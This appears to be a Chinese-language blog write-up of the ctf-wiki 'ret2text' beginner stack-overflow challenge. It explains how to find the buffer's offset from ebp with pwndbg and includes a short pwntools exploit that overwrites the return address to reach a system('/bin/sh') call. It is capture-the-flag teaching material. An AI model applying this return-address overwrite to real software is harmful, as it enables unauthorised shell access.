ctfWiki Ret2text

这道题放在 ctfwiki pwn 栈溢出第一题入门还是思考很久。
这个是函数栈的情况。希望通过这道题更好的理解函数栈的概念。
在 main 函数调用了 gets() 可以使用栈溢出来做。但是要先确定 s 相对 ebp(基址指针寄存器) 的位置。因为函数的返回地址在 [ebp + 4] 处。如果能跳到该位置,然后改变函数的返回地址就可以跳转到某个可执行的地址中。比如此题就有一个 secure 函数内包含一个 system("/bin/sh")。
不能直接跳转到 secure ,因为 它有判断语句判断随机数是否等值,就是基本上不可能执行到。所以应该直接跳转到 system 执行地址。(0x0804863A)
首先要计算出 s 相对 esp 的位置,来确定要写入多少字节的数据才能到返回地址。

1
lea     eax, [esp+80h+s]

通过这个给 eax 来给 gets 传参。传入的是 s 的地址。这里 80h+s 是补偿总偏移。
最后我们计算 s 相对于 ebp 计算公式是:ebp - (esp + 0x80 - 0x64)。
0x64 是 s 数组分配的长度。
通过 pwndbg 来获得此时 esp 和 ebp 的地址。
首先我们要先获得 call _gets 的地址:0x080486AE。然后在 pwndbg 对这处打断点后运行。

1
b *0x080486AE

使用 python 计算偏移量为 0x6c:

1
2
>>> hex(ebp-(esp+0x80-0x64))
'0x6c'

结合上面得到的命令地址,可以编写 exp。

1
2
3
4
5
6
7
from pwn import *

address = 0x0804863A
payload = b'a' * (0x6c+4) + p32(address)
p = process("./ret2text")
p.sendline(payload)
p.interactive()
萌ICP备20241614号